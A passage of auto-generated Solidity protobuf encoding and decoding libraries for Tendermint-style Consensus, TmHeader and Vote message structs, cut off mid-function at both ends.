repeated fields * @return The number of bytes decoded */ function _read_height( uint256 p, bytes memory bs, Data memory r, uint[3] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (uint64 x, uint256 sz) = ProtoBufRuntime._decode_uint64(p, bs); if (isNil(r)) { counters[1] += 1; } else { r.height = x; if (counters[1] > 0) counters[1] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_app( uint256 p, bytes memory bs, Data memory r, uint[3] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (uint64 x, uint256 sz) = ProtoBufRuntime._decode_uint64(p, bs); if (isNil(r)) { counters[2] += 1; } else { r.app = x; if (counters[2] > 0) counters[2] -= 1; } return sz; } // Encoder section /** * @dev The main encoder for memory * @param r The struct to be encoded * @return The encoded byte array */ function encode(Data memory r) internal pure returns (bytes memory) { bytes memory bs = new bytes(_estimate(r)); uint256 sz = _encode(r, 32, bs); assembly { mstore(bs, sz) } return bs; } // inner encoder /** * @dev The encoder for internal usage * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { uint256 offset = p; uint256 pointer = p; if (r.height != 0) { pointer += ProtoBufRuntime._encode_key( 1, ProtoBufRuntime.WireType.Varint, pointer, bs ); pointer += ProtoBufRuntime._encode_uint64(r.height, pointer, bs); } if (r.app != 0) { pointer += ProtoBufRuntime._encode_key( 2, ProtoBufRuntime.WireType.Varint, pointer, bs ); pointer += ProtoBufRuntime._encode_uint64(r.app, pointer, bs); } return pointer - offset; } // nested encoder /** * @dev The encoder for inner struct * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode_nested(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { /** * First encoded `r` into a temporary array, and encode the actual size used. * Then copy the temporary array into `bs`. */ uint256 offset = p; uint256 pointer = p; bytes memory tmp = new bytes(_estimate(r)); uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp); uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs); uint256 size = _encode(r, 32, tmp); pointer += ProtoBufRuntime._encode_varint(size, pointer, bs); ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size); pointer += size; delete tmp; return pointer - offset; } // estimator /** * @dev The estimator for a struct * @param r The struct to be encoded * @return The number of bytes encoded in estimation */ function _estimate( Data memory r ) internal pure returns (uint) { uint256 e; e += 1 + ProtoBufRuntime._sz_uint64(r.height); e += 1 + ProtoBufRuntime._sz_uint64(r.app); return e; } // empty checker function _empty( Data memory r ) internal pure returns (bool) { if (r.height != 0) { return false; } if (r.app != 0) { return false; } return true; } //store function /** * @dev Store in-memory struct to storage * @param input The in-memory struct * @param output The in-storage struct */ function store(Data memory input, Data storage output) internal { output.height = input.height; output.app = input.app; } //utility functions /** * @dev Return an empty struct * @return r The empty struct */ function nil() internal pure returns (Data memory r) { assembly { r := 0 } } /** * @dev Test whether a struct is empty * @param x The struct to be tested * @return r True if it is empty */ function isNil(Data memory x) internal pure returns (bool r) { assembly { r := iszero(x) } } } //library Consensus library TmHeader { //struct definition struct Data { Consensus.Data version; string chain_id; int64 height; Timestamp.Data time; BlockID.Data last_block_id; bytes last_commit_hash; bytes data_hash; bytes validators_hash; bytes next_validators_hash; bytes consensus_hash; bytes app_hash; bytes last_results_hash; bytes evidence_hash; bytes proposer_address; } // Decoder section /** * @dev The main decoder for memory * @param bs The bytes array to be decoded * @return The decoded struct */ function decode(bytes memory bs) internal pure returns (Data memory) { (Data memory x, ) = _decode(32, bs, bs.length); return x; } /** * @dev The main decoder for storage * @param self The in-storage struct * @param bs The bytes array to be decoded */ function decode(Data storage self, bytes memory bs) internal { (Data memory x, ) = _decode(32, bs, bs.length); store(x, self); } // inner decoder /** * @dev The decoder for internal usage * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param sz The number of bytes expected * @return The decoded struct * @return The number of bytes decoded */ function _decode(uint256 p, bytes memory bs, uint256 sz) internal pure returns (Data memory, uint) { Data memory r; uint[15] memory counters; uint256 fieldId; ProtoBufRuntime.WireType wireType; uint256 bytesRead; uint256 offset = p; uint256 pointer = p; while (pointer < offset + sz) { (fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs); pointer += bytesRead; if (fieldId == 1) { pointer += _read_version(pointer, bs, r, counters); } else if (fieldId == 2) { pointer += _read_chain_id(pointer, bs, r, counters); } else if (fieldId == 3) { pointer += _read_height(pointer, bs, r, counters); } else if (fieldId == 4) { pointer += _read_time(pointer, bs, r, counters); } else if (fieldId == 5) { pointer += _read_last_block_id(pointer, bs, r, counters); } else if (fieldId == 6) { pointer += _read_last_commit_hash(pointer, bs, r, counters); } else if (fieldId == 7) { pointer += _read_data_hash(pointer, bs, r, counters); } else if (fieldId == 8) { pointer += _read_validators_hash(pointer, bs, r, counters); } else if (fieldId == 9) { pointer += _read_next_validators_hash(pointer, bs, r, counters); } else if (fieldId == 10) { pointer += _read_consensus_hash(pointer, bs, r, counters); } else if (fieldId == 11) { pointer += _read_app_hash(pointer, bs, r, counters); } else if (fieldId == 12) { pointer += _read_last_results_hash(pointer, bs, r, counters); } else if (fieldId == 13) { pointer += _read_evidence_hash(pointer, bs, r, counters); } else if (fieldId == 14) { pointer += _read_proposer_address(pointer, bs, r, counters); } else { if (wireType == ProtoBufRuntime.WireType.Fixed64) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed64(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Fixed32) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed32(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Varint) { uint256 size; (, size) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.LengthDelim) { uint256 size; (, size) = ProtoBufRuntime._decode_lendelim(pointer, bs); pointer += size; } } } return (r, sz); } // field readers /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_version( uint256 p, bytes memory bs, Data memory r, uint[15] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (Consensus.Data memory x, uint256 sz) = _decode_Consensus(p, bs); if (isNil(r)) { counters[1] += 1; } else { r.version = x; if (counters[1] > 0) counters[1] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_chain_id( uint256 p, bytes memory bs, Data memory r, uint[15] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (string memory x, uint256 sz) = ProtoBufRuntime._decode_string(p, bs); if (isNil(r)) { counters[2] += 1; } else { r.chain_id = x; if (counters[2] > 0) counters[2] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_height( uint256 p, bytes memory bs, Data memory r, uint[15] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (int64 x, uint256 sz) = ProtoBufRuntime._decode_int64(p, bs); if (isNil(r)) { counters[3] += 1; } else { r.height = x; if (counters[3] > 0) counters[3] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_time( uint256 p, bytes memory bs, Data memory r, uint[15] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (Timestamp.Data memory x, uint256 sz) = _decode_Timestamp(p, bs); if (isNil(r)) { counters[4] += 1; } else { r.time = x; if (counters[4] > 0) counters[4] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_last_block_id( uint256 p, bytes memory bs, Data memory r, uint[15] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (BlockID.Data memory x, uint256 sz) = _decode_BlockID(p, bs); if (isNil(r)) { counters[5] += 1; } else { r.last_block_id = x; if (counters[5] > 0) counters[5] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_last_commit_hash( uint256 p, bytes memory bs, Data memory r, uint[15] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs); if (isNil(r)) { counters[6] += 1; } else { r.last_commit_hash = x; if (counters[6] > 0) counters[6] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_data_hash( uint256 p, bytes memory bs, Data memory r, uint[15] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs); if (isNil(r)) { counters[7] += 1; } else { r.data_hash = x; if (counters[7] > 0) counters[7] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_validators_hash( uint256 p, bytes memory bs, Data memory r, uint[15] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs); if (isNil(r)) { counters[8] += 1; } else { r.validators_hash = x; if (counters[8] > 0) counters[8] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_next_validators_hash( uint256 p, bytes memory bs, Data memory r, uint[15] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs); if (isNil(r)) { counters[9] += 1; } else { r.next_validators_hash = x; if (counters[9] > 0) counters[9] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_consensus_hash( uint256 p, bytes memory bs, Data memory r, uint[15] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs); if (isNil(r)) { counters[10] += 1; } else { r.consensus_hash = x; if (counters[10] > 0) counters[10] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_app_hash( uint256 p, bytes memory bs, Data memory r, uint[15] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs); if (isNil(r)) { counters[11] += 1; } else { r.app_hash = x; if (counters[11] > 0) counters[11] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_last_results_hash( uint256 p, bytes memory bs, Data memory r, uint[15] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs); if (isNil(r)) { counters[12] += 1; } else { r.last_results_hash = x; if (counters[12] > 0) counters[12] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_evidence_hash( uint256 p, bytes memory bs, Data memory r, uint[15] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs); if (isNil(r)) { counters[13] += 1; } else { r.evidence_hash = x; if (counters[13] > 0) counters[13] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_proposer_address( uint256 p, bytes memory bs, Data memory r, uint[15] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs); if (isNil(r)) { counters[14] += 1; } else { r.proposer_address = x; if (counters[14] > 0) counters[14] -= 1; } return sz; } // struct decoder /** * @dev The decoder for reading a inner struct field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The decoded inner-struct * @return The number of bytes used to decode */ function _decode_Consensus(uint256 p, bytes memory bs) internal pure returns (Consensus.Data memory, uint) { uint256 pointer = p; (uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += bytesRead; (Consensus.Data memory r, ) = Consensus._decode(pointer, bs, sz); return (r, sz + bytesRead); } /** * @dev The decoder for reading a inner struct field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The decoded inner-struct * @return The number of bytes used to decode */ function _decode_Timestamp(uint256 p, bytes memory bs) internal pure returns (Timestamp.Data memory, uint) { uint256 pointer = p; (uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += bytesRead; (Timestamp.Data memory r, ) = Timestamp._decode(pointer, bs, sz); return (r, sz + bytesRead); } /** * @dev The decoder for reading a inner struct field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The decoded inner-struct * @return The number of bytes used to decode */ function _decode_BlockID(uint256 p, bytes memory bs) internal pure returns (BlockID.Data memory, uint) { uint256 pointer = p; (uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += bytesRead; (BlockID.Data memory r, ) = BlockID._decode(pointer, bs, sz); return (r, sz + bytesRead); } // Encoder section /** * @dev The main encoder for memory * @param r The struct to be encoded * @return The encoded byte array */ function encode(Data memory r) internal pure returns (bytes memory) { bytes memory bs = new bytes(_estimate(r)); uint256 sz = _encode(r, 32, bs); assembly { mstore(bs, sz) } return bs; } // inner encoder /** * @dev The encoder for internal usage * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { uint256 offset = p; uint256 pointer = p; pointer += ProtoBufRuntime._encode_key( 1, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += Consensus._encode_nested(r.version, pointer, bs); if (bytes(r.chain_id).length != 0) { pointer += ProtoBufRuntime._encode_key( 2, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_string(r.chain_id, pointer, bs); } if (r.height != 0) { pointer += ProtoBufRuntime._encode_key( 3, ProtoBufRuntime.WireType.Varint, pointer, bs ); pointer += ProtoBufRuntime._encode_int64(r.height, pointer, bs); } pointer += ProtoBufRuntime._encode_key( 4, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += Timestamp._encode_nested(r.time, pointer, bs); pointer += ProtoBufRuntime._encode_key( 5, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += BlockID._encode_nested(r.last_block_id, pointer, bs); if (r.last_commit_hash.length != 0) { pointer += ProtoBufRuntime._encode_key( 6, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_bytes(r.last_commit_hash, pointer, bs); } if (r.data_hash.length != 0) { pointer += ProtoBufRuntime._encode_key( 7, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_bytes(r.data_hash, pointer, bs); } if (r.validators_hash.length != 0) { pointer += ProtoBufRuntime._encode_key( 8, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_bytes(r.validators_hash, pointer, bs); } if (r.next_validators_hash.length != 0) { pointer += ProtoBufRuntime._encode_key( 9, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_bytes(r.next_validators_hash, pointer, bs); } if (r.consensus_hash.length != 0) { pointer += ProtoBufRuntime._encode_key( 10, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_bytes(r.consensus_hash, pointer, bs); } if (r.app_hash.length != 0) { pointer += ProtoBufRuntime._encode_key( 11, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_bytes(r.app_hash, pointer, bs); } if (r.last_results_hash.length != 0) { pointer += ProtoBufRuntime._encode_key( 12, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_bytes(r.last_results_hash, pointer, bs); } if (r.evidence_hash.length != 0) { pointer += ProtoBufRuntime._encode_key( 13, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_bytes(r.evidence_hash, pointer, bs); } if (r.proposer_address.length != 0) { pointer += ProtoBufRuntime._encode_key( 14, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_bytes(r.proposer_address, pointer, bs); } return pointer - offset; } // nested encoder /** * @dev The encoder for inner struct * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode_nested(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { /** * First encoded `r` into a temporary array, and encode the actual size used. * Then copy the temporary array into `bs`. */ uint256 offset = p; uint256 pointer = p; bytes memory tmp = new bytes(_estimate(r)); uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp); uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs); uint256 size = _encode(r, 32, tmp); pointer += ProtoBufRuntime._encode_varint(size, pointer, bs); ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size); pointer += size; delete tmp; return pointer - offset; } // estimator /** * @dev The estimator for a struct * @param r The struct to be encoded * @return The number of bytes encoded in estimation */ function _estimate( Data memory r ) internal pure returns (uint) { uint256 e; e += 1 + ProtoBufRuntime._sz_lendelim(Consensus._estimate(r.version)); e += 1 + ProtoBufRuntime._sz_lendelim(bytes(r.chain_id).length); e += 1 + ProtoBufRuntime._sz_int64(r.height); e += 1 + ProtoBufRuntime._sz_lendelim(Timestamp._estimate(r.time)); e += 1 + ProtoBufRuntime._sz_lendelim(BlockID._estimate(r.last_block_id)); e += 1 + ProtoBufRuntime._sz_lendelim(r.last_commit_hash.length); e += 1 + ProtoBufRuntime._sz_lendelim(r.data_hash.length); e += 1 + ProtoBufRuntime._sz_lendelim(r.validators_hash.length); e += 1 + ProtoBufRuntime._sz_lendelim(r.next_validators_hash.length); e += 1 + ProtoBufRuntime._sz_lendelim(r.consensus_hash.length); e += 1 + ProtoBufRuntime._sz_lendelim(r.app_hash.length); e += 1 + ProtoBufRuntime._sz_lendelim(r.last_results_hash.length); e += 1 + ProtoBufRuntime._sz_lendelim(r.evidence_hash.length); e += 1 + ProtoBufRuntime._sz_lendelim(r.proposer_address.length); return e; } // empty checker function _empty( Data memory r ) internal pure returns (bool) { if (bytes(r.chain_id).length != 0) { return false; } if (r.height != 0) { return false; } if (r.last_commit_hash.length != 0) { return false; } if (r.data_hash.length != 0) { return false; } if (r.validators_hash.length != 0) { return false; } if (r.next_validators_hash.length != 0) { return false; } if (r.consensus_hash.length != 0) { return false; } if (r.app_hash.length != 0) { return false; } if (r.last_results_hash.length != 0) { return false; } if (r.evidence_hash.length != 0) { return false; } if (r.proposer_address.length != 0) { return false; } return true; } //store function /** * @dev Store in-memory struct to storage * @param input The in-memory struct * @param output The in-storage struct */ function store(Data memory input, Data storage output) internal { Consensus.store(input.version, output.version); output.chain_id = input.chain_id; output.height = input.height; Timestamp.store(input.time, output.time); BlockID.store(input.last_block_id, output.last_block_id); output.last_commit_hash = input.last_commit_hash; output.data_hash = input.data_hash; output.validators_hash = input.validators_hash; output.next_validators_hash = input.next_validators_hash; output.consensus_hash = input.consensus_hash; output.app_hash = input.app_hash; output.last_results_hash = input.last_results_hash; output.evidence_hash = input.evidence_hash; output.proposer_address = input.proposer_address; } //utility functions /** * @dev Return an empty struct * @return r The empty struct */ function nil() internal pure returns (Data memory r) { assembly { r := 0 } } /** * @dev Test whether a struct is empty * @param x The struct to be tested * @return r True if it is empty */ function isNil(Data memory x) internal pure returns (bool r) { assembly { r := iszero(x) } } } //library TmHeader library Vote { //struct definition struct Data { TYPES_PROTO_GLOBAL_ENUMS.SignedMsgType typ; int64 height; int64 round; BlockID.Data block_id; Timestamp.Data timestamp; bytes validator_address; int64 validator_index; bytes signature; } // Decoder section /** * @dev The main decoder for memory * @param bs The bytes array to be decoded * @return The decoded struct */ function decode(bytes memory bs) internal pure returns (Data memory) { (Data memory x, ) = _decode(32, bs, bs.length); return x; } /** * @dev The main decoder for storage * @param self The in-storage struct * @param bs The bytes array to be decoded */ function decode(Data storage self, bytes memory bs) internal { (Data memory x, ) = _decode(32, bs, bs.length); store(x, self); } // inner decoder /** * @dev The decoder for internal usage * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param sz The number of bytes expected * @return The decoded struct * @return The number of bytes decoded */ function _decode(uint256 p, bytes memory bs, uint256 sz) internal pure returns (Data memory, uint) { Data memory r; uint[9] memory counters; uint256 fieldId; ProtoBufRuntime.WireType wireType; uint256 bytesRead; uint256 offset = p; uint256 pointer = p; while (pointer < offset + sz) { (fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs); pointer += bytesRead; if (fieldId == 1) { pointer += _read_typ(pointer, bs, r, counters); } else if (fieldId == 2) { pointer += _read_height(pointer, bs, r, counters); } else if (fieldId == 3) { pointer += _read_round(pointer, bs, r, counters); } else if (fieldId == 4) { pointer += _read_block_id(pointer, bs, r, counters); } else if (fieldId == 5) { pointer += _read_timestamp(pointer, bs, r, counters); } else if (fieldId == 6) { pointer += _read_validator_address(pointer, bs, r, counters); } else if (fieldId == 7) { pointer += _read_validator_index(pointer, bs, r, counters); } else if (fieldId == 8) { pointer += _read_signature(pointer, bs, r, counters); } else { if (wireType == ProtoBufRuntime.WireType.Fixed64) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed64(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Fixed32) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed32(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Varint) { uint256 size; (, size) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.LengthDelim) { uint256 size; (, size) = ProtoBufRuntime._decode_lendelim(pointer, bs); pointer += size; } } } return (r, sz); } // field readers /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_typ( uint256 p, bytes memory bs, Data memory r, uint[9] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (int64 tmp, uint256 sz) = ProtoBufRuntime._decode_enum(p, bs); TYPES_PROTO_GLOBAL_ENUMS.SignedMsgType x = TYPES_PROTO_GLOBAL_ENUMS.decode_SignedMsgType(tmp); if (isNil(r)) { counters[1] += 1; } else { r.typ = x; if(counters[1] > 0) counters[1] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_height( uint256 p, bytes memory bs, Data memory r, uint[9] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (int64 x, uint256 sz) = ProtoBufRuntime._decode_int64(p, bs); if (isNil(r)) { counters[2] += 1; } else { r.height = x; if (counters[2] > 0) counters[2] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_round( uint256 p, bytes memory bs, Data memory r, uint[9] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (int64 x, uint256 sz) = ProtoBufRuntime._decode_int64(p, bs); if (isNil(r)) { counters[3] += 1; } else { r.round = x; if (counters[3] > 0) counters[3] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_block_id( uint256 p, bytes memory bs, Data memory r, uint[9] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (BlockID.Data memory x, uint256 sz) = _decode_BlockID(p, bs); if (isNil(r)) { counters[4] += 1; } else { r.block_id = x; if (counters[4] > 0) counters[4] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_timestamp( uint256 p, bytes memory bs, Data memory r, uint[9] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (Timestamp.Data memory x, uint256 sz) = _decode_Timestamp(p, bs); if (isNil(r)) { counters[5] += 1; } else { r.timestamp = x; if (counters[5] > 0) counters[5] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_validator_address( uint256 p, bytes memory bs, Data memory r, uint[9] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs); if (isNil(r)) { counters[6] += 1; } else { r.validator_address = x; if (counters[6] > 0) counters[6] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_validator_index( uint256 p, bytes memory bs, Data memory r, uint[9] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (int64 x, uint256 sz) = ProtoBufRuntime._decode_int64(p, bs); if (isNil(r)) { counters[7] += 1; } else { r.validator_index = x; if (counters[7] > 0) counters[7] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_signature( uint256 p, bytes memory bs, Data memory r, uint[9] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs); if (isNil(r)) { counters[8] += 1; } else { r.signature = x; if (counters[8] > 0) counters[8] -= 1; } return sz; } // struct decoder /** * @dev The decoder for reading a inner struct field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The decoded inner-struct * @return The number of bytes used to decode */ function _decode_BlockID(uint256 p, bytes memory bs) internal pure returns (BlockID.Data memory, uint) { uint256 pointer = p; (uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += bytesRead; (BlockID.Data memory r, ) = BlockID._decode(pointer, bs, sz); return (r, sz + bytesRead); } /** * @dev The decoder for reading a inner struct field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The decoded inner-struct * @return The number of bytes used to decode */ function _decode_Timestamp(uint256 p, bytes memory bs) internal pure returns (Timestamp.Data memory, uint) { uint256 pointer = p; (uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += bytesRead; (Timestamp.Data memory r, ) = Timestamp._decode(pointer, bs, sz); return (r, sz + bytesRead); } // Encoder section /** * @dev The main encoder for memory * @param r The struct to be encoded * @return The encoded byte array */ function encode(Data memory r) internal pure returns (bytes memory) { bytes memory bs = new bytes(_estimate(r)); uint256 sz = _encode(r, 32, bs); assembly { mstore(bs, sz) } return bs; } // inner encoder /** * @dev The encoder for internal usage * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { uint256 offset = p; uint256 pointer = p; if (uint(r.typ) != 0) { pointer += ProtoBufRuntime._encode_key( 1, ProtoBufRuntime.WireType.Varint, pointer, bs ); int32 _enum_typ = TYPES_PROTO_GLOBAL_ENUMS.encode_SignedMsgType(r.typ); pointer += ProtoBufRuntime._encode_enum(_enum_typ, pointer, bs); } if (r.height != 0) { pointer += ProtoBufRuntime._encode_key( 2, ProtoBufRuntime.WireType.Varint, pointer, bs ); pointer += ProtoBufRuntime._encode_int64(r.height, pointer, bs); } if (r.round != 0) { pointer += ProtoBufRuntime._encode_key( 